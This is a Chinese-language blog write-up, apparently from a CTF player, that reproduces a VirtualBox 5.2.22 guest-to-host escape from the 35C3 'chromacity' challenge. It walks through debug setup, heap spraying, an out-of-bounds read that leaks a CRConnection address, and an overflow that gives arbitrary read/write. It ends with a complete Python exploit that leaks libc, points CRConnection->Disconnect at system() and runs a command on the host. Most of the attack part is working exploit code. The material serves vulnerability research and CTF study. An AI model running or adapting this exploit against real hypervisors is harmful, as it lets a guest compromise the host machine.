Of Course We Can Escape
距离上篇有一个多月的时间了,趁着上周的两天空档终于复现了一个虚拟机逃逸漏洞的利用全过程。在4月底的时候,35C3比赛中解出题目的另一位选手@TheFloW也发布了一篇wp,chromacity: Escaping the VM with newlines。加上之前Tea Delivers在知乎上的wp,凑齐了比赛时间内完成题目的两篇题解,大家都是在比赛结束的几个月后才来发布wp,一方面说明这是真实存在的0day,需要尽量降低漏洞的危害;另一方面也大致体现了这个漏洞学习的价值。
Debug Script
上篇完成了Virtualbox 5.2.22带debug symbol的版本编译,并且在文章结尾尝试用gdb attach上Virtualbox的进程进行调试,为了快速启动系统,我完善虚拟机系统的配置后创建了一个镜像。进行一次调试的步骤如下:
- 恢复虚拟机的镜像状态
- 启动虚拟机
- gdb附加VirtualBox进程,加载断点
- ssh 连接上虚拟机
- 在虚拟机中执行poc,断点处调试
为了方便操作,编写了如下的一键启动调试脚本,期间了解到了Virtualbox命令行管理工具VBoxManage的用法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo "[+] Removing previous log."
rm *.log
echo "[+] Restore snpashot."
./VBoxManage snapshot Lubuntu restore init3
echo "[+] Starting VM."
./VBoxManage startvm Lubuntu --type gui
echo "[+] Attach to gdb."
gdbcmd="dir /mnt/d/VBox/VBox/VirtualBox-5.2.22/src/"
tmux splitw -h "sudo gdb attach `pgrep VirtualBox` --ex $gdbcmd"
echo "[+] Connect ssh to VM."
ssh matthew@localhost -p 2222 -t "cd /media/sf_VBox; bash --login"
Exploit Analysis
接下来的工作就是分析两篇wp中的exp,逐点弄懂背后的漏洞利用逻辑。
Leaking CRConnection
Address
两个exp的第一步都是泄露出一个CRConnection
结构体的地址,而且作者们都直接使用了出题人@niklasb提供的代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24def leak_conn(client):
'''Return a CRConnection address, and associated clident handle'''
# Spray some buffers of sizes
# 0x298 = sizeof(CRConnection)
# 0x9d0 = sizeof(CRClient)
for _ in range(600):
alloc_buf(client, 0x298)
for _ in range(600):
alloc_buf(client, 0x9d0)
# This will allocate a CRClient and CRConnection right next to each other.
new_client = hgcm_connect("VBoxSharedCrOpenGL")
for _ in range(2):
alloc_buf(client, 0x290)
for _ in range(2):
alloc_buf(client, 0x9d0)
hgcm_disconnect(new_client)
msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]
print hexdump(leak)
pClient, = unpack("<Q", leak[:8])
pConn = pClient + 0x9e0
new_client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(new_client)
return new_client, pConn, pClient
这段代码首先是通过堆喷射来填充空间,保证能够分配出相邻的CRConnection
和CRClient
对象,这里使用的是Tea delivers提出的越界读函数,实际上通过内存未初始化的漏洞也能泄露的出CRClient
的地址。
问题一:如何确定hgcm_connect
连接时候分配的结构体,以及确认它们的大小?
实际上我们可以动态调试获得这些信息,在crVBoxServerAddClient
和crAlloc
下断点就能追踪到分配结构体的过程,其中crAlloc
是chrome库中对malloc
函数的一个封装。此时我们可以看到程序陆续调用了crAlloc(0x9d0)
和crAlloc(0x298)
,也就是先分配了一个CRClient
再分配了一个CRConnection
,这点很重要,因为稍后我们需要通过泄露出CRClient
的地址和结构体大小来计算出CRConnection
的地址。接下来可以使用pahole插件来查看结构体的大小及成员变量偏移:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30gef> pahole CRConnection
/* 664 */ struct CRConnection {
/* 0 4 */ int ignore
/* 4 4 */ enum {...} type
/* 8 4 */ unsigned int id
...
/* 208 8 */ void *(*)(CRConnection *) Alloc
/* 216 8 */ void (*)(CRConnection *, void *) Free //[HERE] use to leak lib address later
/* 224 8 */ void (*)(CRConnection *, void **, const void *, unsigned int) Send
/* 232 8 */ void (*)(CRConnection *, void **, const void *, unsigned int) Barf
/* 240 8 */ void (*)(CRConnection *, const void *, unsigned int) SendExact
/* 248 8 */ void (*)(CRConnection *, void *, unsigned int) Recv
/* 256 8 */ void (*)(CRConnection *) RecvMsg
/* 264 8 */ void (*)(CRConnection *, CRMessage *) InstantReclaim
/* 272 8 */ void (*)(CRConnection *, CRMessage *, unsigned int) HandleNewMessage
/* 280 8 */ void (*)(CRConnection *, const char *, unsigned short) Accept
/* 288 8 */ int (*)(CRConnection *) Connect
/* 296 8 */ void (*)(CRConnection *) Disconnect
...
/* XXX 32 bit hole, try to pack */
/* 568 8 */ uint8_t * pHostBuffer
/* 576 4 */ unsigned int cbHostBufferAllocated
/* 580 4 */ unsigned int cbHostBuffer
/* 584 8 */ _crclient * pClient // [HERE] CRClient ptr
/* 592 40 */ CRVBOXHGSMI_CMDDATA CmdData
/* 632 16 */ RTLISTNODE PendingMsgList
/* 648 1 */ unsigned char allow_redir_ptr
/* XXX 24 bit hole, try to pack */
/* 652 4 */ unsigned int vMajor
/* 656 4 */ unsigned int vMinor
1 | gef> pahole CRClient |
同时,通过阅读源码我们也能定位到创建这两个结构体的具体位置:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
CRClient *newClient;
if (cr_server.numClients>=CR_MAX_CLIENTS)
{
return VERR_MAX_THRDS_REACHED;
}
newClient = (CRClient *) crCalloc(sizeof(CRClient)); // [HERE] CRClient (0x9d0)
crDebug("crServer: AddClient u32ClientID=%d", u32ClientID);
newClient->spu_id = 0;
newClient->currentCtxInfo = &cr_server.MainContextInfo;
newClient->currentContextNumber = -1;
newClient->conn = crNetAcceptClient(cr_server.protocol, NULL,
cr_server.tcpip_port,
cr_server.mtu, 0);
newClient->conn->u32ClientID = u32ClientID;
cr_server.clients[cr_server.numClients++] = newClient;
crServerAddToRunQueue(newClient);
return VINF_SUCCESS;
}
1 | /** |
问题二:越界读或者内存未初始化泄露地址的原理?
在漏洞函数crUnpackExtendGetUniformLocation
断点并且打印backtrace可以观察到函数调用的过程:1
2
3
4
5
6
7
8
9
10[#0] 0x7fe6e19f77c5->crUnpackExtendGetUniformLocation()
[#1] 0x7fe6e19f4068->crUnpackExtend()
[#2] 0x7fe6e19ee7f0->crUnpack(data=0x7fe639517070, data_end=0x7fe6395172f0, opcodes=0x7fe63951706f, num_opcodes=0x1, table=0x7fe6e1a65a30 <cr_server+13008>)
[#3] 0x7fe6e1920fe4->crServerDispatchMessage(conn=0x7fe6c48b7640, msg=0x7fe639517060, cbMsg=0x290)
[#4] 0x7fe6e19215fe->crServerServiceClient(qEntry=0x7fe6c48b7e30)
[#5] 0x7fe6e1921773->crServerServiceClients()
[#6] 0x7fe6e18f764f->crVBoxServerInternalClientWriteRead(pClient=0x7fe6c48b6970)
[#7] 0x7fe6e18f792d->crVBoxServerClientWrite(u32ClientID=0x45, pBuffer=0x7fe639517060 "\001LGwAAAA\001", cbBuffer=0x290)
[#8] 0x7fe6e18db4a8->svcCall(callHandle=0x7fe6d4893150, u32ClientID=0x45, pvClient=0x7fe6c80076b0, u32Function=0xe, cParms=0x3, paParms=0x7fe6d488ec10)
[#9] 0x7fe712b81001->hgcmServiceThread(ThreadHandle=0x80000011, pvUser=0x7fe6c8002c60)
首先是服务端(宿主)收到一个svcCall请求,然后逐步分发消息,调用到crUpack
函数,走拓展功能的调用方法,最终会调用目标函数crUnpackExtendGetUniformLocation
。1
2
3
4
5
6
7
8
9void crUnpackExtendGetUniformLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetUniformLocation(program, name);
}
该函数中没有对传入的packet_length
做任何检查,由此会产生一个越界读。而@TheFloW也提到此处其实并不需要OOB,因为svcGetBuffer()
构造CRVBOXSVCBUFFER_t
结构体的时候并没有初始化内存的操作。disconnect时候回收的内存,随后又马上分配给了可读写的CRVBOXSVCBUFFER_t
,于是我们能够读出其中残留的指针。这里画了一幅图来展示整个堆喷射和泄露的内存结构:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33+-------------------------------+ +-------------------------------+
| spary(0x290, 600) | | spary(0x290, 600) |
| | | |
| | | |
| | | |
| | | |
+-------------------------------+ +-------------------------------+
| spary(0x9d0, 600) | | spary(0x9d0, 600) |
| | | |
| | | |
| | hgcm_disconnection() | |
| | make_oob_read(OFFSET_CONN_CLIENT) | |
+-------------------------------+ +----+ crmsg(client, msg, 0x290) +-------------------------------+
| CRClient ( 0x9d0 ) | | | freed |
| | | | |
| | + | |
+-------------------------------+ hgcm_connect +------------> +-------------------------------+
| CRConnection ( 0x298 ) | + | (leak target) |
| | | | memory uninitialized |
| | | | |
+-------------------------------+ +----+ +-------------------------------+
| spary(0x290, 2) | | spary(0x290, 2) |
| | | |
| | | |
| | | |
| | | |
+-------------------------------+ +-------------------------------+
| spary(0x9d0, 2) | | spary(0x9d0, 2) |
| | | |
| | | |
| | | |
| | | |
+-------------------------------+ +-------------------------------+
Arbitrary R/W
两篇wp中把漏洞的成因都介绍得非常清楚,问题是代码漏掉了对最后一层循环的操作进行越界检查,导致可以向后溢出使后方的\x00
字节被改成\xa0
字节。利用的方法是布置好连续的CRVBOXSVCBUFFER_t
,如下图所示,释放第一个buffer,重新填充上CR_SHADERSOURCE_EXTEND
的消息,执行crUnpackExtendShaderSource
漏洞函数以后会越界写把后方的\x00
都改成\xa0
。导致第二个结构体信息被更改:
uiID
被破坏,如:0x0000aabb -> 0x0a0aaabbuiSize
被增大,如: 0x00000030 -> 0x0a0a0a30
size变大以后的buffer可以继续覆盖第三个结构体,此时我们就可以随意控制第三个结构体的uiID
,uiSize
,pData
,通过修改pData
并利用伪造的uiID
,进行SHCRGL_GUEST_FN_WRITE_BUFFER
和SHCRGL_GUEST_FN_READ
,便可以进行任意读写了。下面是示意图:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48 +-----------------------------+
|uint32_t uiID|uint32_t uiSize|
+-----------------------------+
|void* pData +--------+
+-----------------------------+ |
|_CRVBOXSVCBUFFER_t* pNext | |
+-----------------------------+ |
|_CRVBOXSVCBUFFER_t* pPrev | |
+-----------------------------+ |
| CR_SHADERSOURCE_EXTEND | <------+
| |
| |
| |
| |
+------+ | [OVERFLOW: \X00->\X0A] |
OVERFLOW AREA: | +-----------------------------+
enlarge uiSize & | +-----------------------------+
corrupted uiID | |uint32_t uiID|uint32_t uiSize|
+------+ +-----------------------------+
|void* pData +--------+
+-----------------------------+ |
|_CRVBOXSVCBUFFER_t* pNext | |
+-----------------------------+ |
fake buffer area |_CRVBOXSVCBUFFER_t* pPrev | |
after size enlarge +-----------------------------+ |
+--------------------+ | msg Buffer(0x30) | <------+
| | |
| | |
| | |
| | |
| | |
| +-----------------------------+
| + +-----------------------------+
|uiID=0x13371337 |uint32_t uiID|uint32_t uiSize| using fake id 0x13371337
|uiSize=0x290 +-----------------------------+ to do arbitrary R/W
|pData=(arbitrary addr)|void* pData +--------+-------------------> +--------------------------+
| +-----------------------------+ | |ANYWHERE |
| |_CRVBOXSVCBUFFER_t* pNext | | | |
| +-----------------------------+ X +--------------------------+
| |_CRVBOXSVCBUFFER_t* pPrev | |
| +-----------------------------+ |
| | msg Buffer(0x30) | <------+
| | |
| | |
| | |
| | |
| | |
+--------------------+ +-----------------------------+
Failed Attempt
然而事情并没有这么简单,编写exp进行到使用SHCRGL_GUEST_FN_WRITE_READ_BUFFERED
触发CR_SHADERSOURCE_EXTEND_OPCODE
之后程序就立马崩溃了。经过反复排查发现问题出在svcCall
中执行完CR_SHADERSOURCE_EXTEND_OPCODE
后调用的svcFreeBuffer
(下面代码第58行),观察内存发现越界修改\x00
的漏洞是没有问题了,但是free
的步骤会报错。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63CR_SHADERSOURCE_EXTEND_OPCODEstatic DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient, uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[])
{
......
case SHCRGL_GUEST_FN_WRITE_READ_BUFFERED:
{
Log(("svcCall: SHCRGL_GUEST_FN_WRITE_READ_BUFFERED\n"));
/* Verify parameter count and types. */
if (cParms != SHCRGL_CPARMS_WRITE_READ_BUFFERED)
{
rc = VERR_INVALID_PARAMETER;
}
else
if ( paParms[0].type != VBOX_HGCM_SVC_PARM_32BIT /* iBufferID */
|| paParms[1].type != VBOX_HGCM_SVC_PARM_PTR /* pWriteback */
|| paParms[2].type != VBOX_HGCM_SVC_PARM_32BIT /* cbWriteback */
|| !paParms[0].u.uint32 /*iBufferID can't be 0 here*/
)
{
rc = VERR_INVALID_PARAMETER;
}
else
{
/* Fetch parameters. */
uint32_t iBuffer = paParms[0].u.uint32;
uint8_t *pWriteback = (uint8_t *)paParms[1].u.pointer.addr;
uint32_t cbWriteback = paParms[1].u.pointer.size;
CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
if (!pSvcBuffer)
{
LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));
rc = VERR_INVALID_PARAMETER;
break;
}
uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData;
uint32_t cbBuffer = pSvcBuffer->uiSize;
/* Execute the function. */
rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
if (!RT_SUCCESS(rc))
{
Assert(VERR_NOT_SUPPORTED==rc);
svcClientVersionUnsupported(0, 0);
}
rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);
if (RT_SUCCESS(rc))
{
/* Update parameters.*/
paParms[1].u.pointer.size = cbWriteback;
}
/* Return the required buffer size always */
paParms[2].u.uint32 = cbWriteback;
svcFreeBuffer(pSvcBuffer);
}
break;
}
......
由于是GUI程序,没有命令行来查看程序的报错信息。程序会直接闪退,但基本确认是free
函数内部的某些错误。想要加载glibc的源码定位错误但是没找到gdb加载多个项目源码的方法,最终使用bt命令打印错误点的调用栈再一步步回溯。追踪到以下的调用位置,这是一个abort函数的调用,看到调用参数处的$rcx
指向的错误信息字符串free(): invalid next size (fast)
,结合malloc源码可以确认程序崩溃的原因是越界写破坏掉了chunk meta中的size,导致fastbin free
流程的时候检查不通过:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50$rax : 0x0
$rbx : 0x00007f15eb292b30 -> "00007f15c89d6e90"
$rcx : 0x00007f164a92bf50 -> "free(): invalid next size (fast)"
$rdx : 0x00007ffdb15b99f7 -> 0x616d2f656d6f682f ("/home/ma"?)
$rsp : 0x00007f15eb292af0 -> 0x00000000c89d6e90
$rbp : 0x00007f15eb292b30 -> "00007f15c89d6e90"
$rsi : 0x00007f164a92bed8 -> "*** Error in `%s': %s: 0x%s ***"
$rdi : 0x2
$rip : 0x00007f164a81b375 -> call 0x7f164a812510
$r8 : 0x00007f15eb292b30 -> "00007f15c89d6e90"
$r9 : 0x0
$r10 : 0xe
$r11 : 0x00007f15c8210b80 -> 0x00007f1622f6e700 -> push r13
$r12 : 0x3
$r13 : 0x00007f164a92bf50 -> "free(): invalid next size (fast)"
$r14 : 0x00007f15eb292b33 -> "07f15c89d6e90"
$r15 : 0x0
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
------------------------------------------------------------------------------------------- stack ----
0x00007f15eb292af0|+0x0000: 0x00000000c89d6e90 <-$rsp
0x00007f15eb292af8|+0x0008: 0x00007f15fc04a358 -> 0x0000000000000000
0x00007f15eb292b00|+0x0010: 0x00007f15eb292b20 -> 0x00007f15eb292b40 -> 0x00007f15eb292b00 -> [loop detected]
0x00007f15eb292b08|+0x0018: 0x00007f15fc03400a -> <crVBoxHGCMFree+59> nop
0x00007f15eb292b10|+0x0020: 0x00007f15c88b8330 -> 0x4141414177474c0d
0x00007f15eb292b18|+0x0028: 0x00007f15c82d9b70 -> 0x0000000900000000
0x00007f15eb292b20|+0x0030: 0x00007f15eb292b40 -> 0x00007f15eb292b00 -> 0x00007f15eb292b20 -> [loop detected]
0x00007f15eb292b28|+0x0038: 0x00007f15fc013751 -> <crNetFree+43> nop
------------------------------------------------------------------------------------- code:x86:64 ----
0x7f164a81b368 add BYTE PTR [rax-0x7b], cl
0x7f164a81b36b ror BYTE PTR [rax+0xf], 0x45
0x7f164a81b36f rol BYTE PTR [rbx-0x3fcefd19], 1
->0x7f164a81b375 call 0x7f164a812510
\-> 0x7f164a812510 push rbp
0x7f164a812511 mov rbp, rsp
0x7f164a812514 push r15
0x7f164a812516 push r14
0x7f164a812518 lea rax, [rbp+0x10]
0x7f164a81251c push r13
----------------------------------------------------------------------------- arguments (guessed) ----
0x7f164a812510 (
$rdi = 0x0000000000000002,
$rsi = 0x00007f164a92bed8->"*** Error in `%s': %s: 0x%s ***",
$rdx = 0x00007ffdb15b99f7->0x616d2f656d6f682f
)
------------------------------------------------------------------------------------------- trace ----
[#0] 0x7f164a81b375->call 0x7f164a812510
[#1] 0x7f164a81f53c->free()
[#2] 0x7f164dbfcc94->RTMemFree(pv=0x7f15c89d6e90)
[#3] 0x7f15eabc87f1->svcFreeBuffer(pBuffer=0x7f15c89d6e60)
那么为什么两篇wp都成功了呢,后来仔细想才发现是glibc版本的问题,比赛给的环境是Lubuntu 18.04 ,采用2.27版本的glibc,开启了tcache机制。而我在上篇中费尽心血编译出来的版本是运行在Ubuntu 16.04里面的,2.23版本的glibc,没有tcache机制。
在2.23版本中,释放大小为0x30的chunk会走fastbin的流程,其中包含对下一个chunk的合法检查,也就是上面报错卡住的地方。而开启tcache的版本就没有这些检查了,直接把chunk放入tcache中。因此原题的exp并不会出现这样的报错。确定了问题的原因,自然就有了解决方法,直接在18.04的系统中重新编译Virtualbox。当然也可以在16.04中想办法绕过这个free
,但只怕需要构造更加复杂的内存布局,老版本libc的利用看有没有机会以后再研究了。
Arbitrary Command Execution
从任意地址读写到任意命令执行的方法也比较简单直接。
- 第一步获取的
CRConnection
结构体地址中读取CRConnection->Free
的内容,该指针指向的是crVBoxHGCMFree
函数。 crVBoxHGCMFree
位于VBoxOGLhostcrutil.so
中,可以计算出VBoxOGLhostcrutil.so
的加载地址VBoxOGLhostcrutil.so
是chrome的共享库,其中也有GOT表,加载了部分libc函数的地址。- 计算GOT表中read函数的地址,泄露出read函数的libc地址。
- 通过偏移计算出libc中
system
函数的地址 - 将
CRConnection->Disconnect
的指针改写为system
,把任意指令写入CRConnection的头部。 - 通过
SHCRGL_GUEST_FN_READ
等操作触发disconnect,即可执行任意指令。
具体的exp如下,基本是根据两位大神的思路来写的,重构了一下希望逻辑能更加清晰吧。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176#!/usr/bin/env python2
import os, sys
from array import array
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
from hgcm import *
def make_oob_read(offset):
return (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_EXTEND_OPCODE)
+ pack("<I", offset)
+ pack("<I", CR_GETUNIFORMLOCATION_EXTEND_OPCODE)
+ pack("<I", 0)
+ 'LEET'
)
"""
void crUnpackExtendGetUniformLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetUniformLocation(program, name);
}
"""
def leak_conn(client):
''' Return a CRConnection address, and the associated client handle '''
# Spray some buffers of sizes
# 0x290 = sizeof(CRConnection) and
# 0x9d0 = sizeof(CRClient)
for _ in range(600):
alloc_buf(client, 0x290)
for _ in range(600):
alloc_buf(client, 0x9d0)
# This will allocate a CRClient and CRConnection right next to each other.
new_client = hgcm_connect("VBoxSharedCrOpenGL")
for _ in range(2):
alloc_buf(client, 0x290)
for _ in range(2):
alloc_buf(client, 0x9d0)
hgcm_disconnect(new_client)
# Leak pClient member of CRConnection struct, and from that compute
# CRConnection address.
msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]
pClient, = unpack("<Q", leak[:8])
pConn = pClient + 0x9e0
new_client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(new_client)
return new_client, pConn, pClient
class Pwn(object):
def __init__(self):
self.spray_num = 0x2000
self.spray_size = 0x30
def setup(self):
self.leak_stuff()
self.spray_CRVBOXSVCBUFFER()
self.enlarge_victim_size()
self.found_corrupted_buf()
self.write_fake()
def leak_stuff(self):
self.client1 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client1)
self.client2 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client2)
# TODO maybe spray even more?
for _ in range(3):
for _ in range(400): alloc_buf(self.client1, 0x290)
for _ in range(400): alloc_buf(self.client1, 0x9d0)
for _ in range(600): alloc_buf(self.client1, 0x30)
# self.master_id, self.master, _ = leak_buf(self.client1)
# print('[*] Header for buffer # %d is at 0x%016x (master)' % (self.master_id, self.master))
# self.victim_id, self.victim, _ = leak_buf(self.client1)
# print('[*] Header for buffer # %d is at 0x%016x (victim)' % (self.victim_id, self.victim))
self.client3, self.pConn, _ = leak_conn(self.client1)
print('[*] Leaked CRConnection @ 0x%016x' % self.pConn)
def spray_CRVBOXSVCBUFFER(self):
self.bufs = []
for i in range(self.spray_num):
self.bufs.append(alloc_buf(self.client1, self.spray_size))
self.hole_pos = self.spray_num - 0x10
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [self.bufs[self.hole_pos], "A"*0x1000, 1337])
def enlarge_victim_size(self):
# trigger bug to enlarge a CRVBOXSVCBUFFER_t
msg = (pack("<III", CR_MESSAGE_OPCODES, 0X41414141, 1))
msg += "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
msg += 'aaaa'
msg += pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
msg += pack("<I", 0)
msg += pack("<I", 1)
msg += pack("<I", 0)
msg += pack("<I", 0x22)
crmsg(self.client1, msg, self.spray_size)
def found_corrupted_buf(self):
print "[+] Finding corrupted buffer..."
found = -1
for i in range(self.spray_num):
if i != self.hole_pos:
try:
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.bufs[i], self.spray_size, 0, ""])
except IOError:
print "[+] Found corrupted id: 0x%x" % self.bufs[i]
found = self.bufs[i]
break
if found < 0:
exit("[-] Error could not find corrupted buffer.")
id_str = "%08x" % found
self.victim_id = int(id_str.replace("00", "0a"), 16)
print("[+] Victim id: %#x" % self.victim_id)
def write_fake(self):
self.fake_id = 0x13371337
try:
fake = pack("<IIQQQ", self.fake_id, 0x290, self.pConn, 0, 0)
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.victim_id, 0x0a0a0a30, self.spray_size + 0x10, fake])
print("[+] Exploit successful.")
except IOError:
exit("[-] Failed")
def do_read(self, addr, n):
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.fake_id, 0x290, OFFSET_CONN_HOSTBUF, pack("<Q", addr)])
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.fake_id, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client3, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
print "[+] do read at %#x, %d" % (addr, n)
return res[:n]
def do_read64(self, addr):
res = self.do_read(addr, 8)
return unpack("<Q", res)[0]
def leak_addrs(self):
self.crVBoxHGCMFree = self.do_read64(self.pConn + OFFSET_CONN_FREE)
print "[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20640
print "[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil
read_got = self.VBoxOGLhostcrutil + 0x22f170
self.read = self.do_read64(read_got)
print "[+] read: 0x%x" % self.read
self.libc = self.read - 0x110070
print "[+] libc: 0x%x" % self.libc
self.system = self.libc + 0x4f440
print "[+] system: 0x%x" % self.system
def exploit(self):
cmd = "gnome-calculator"
# Overwrite CRConnection->disconnect to system, &CRConnection to cmd string.
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0x128, pack("<Q", self.system)])
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])
# trigger disconnect
hgcm_call(self.client3, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
if __name__ == '__main__':
p = Pwn()
p.setup()
p.leak_addrs()
p.exploit()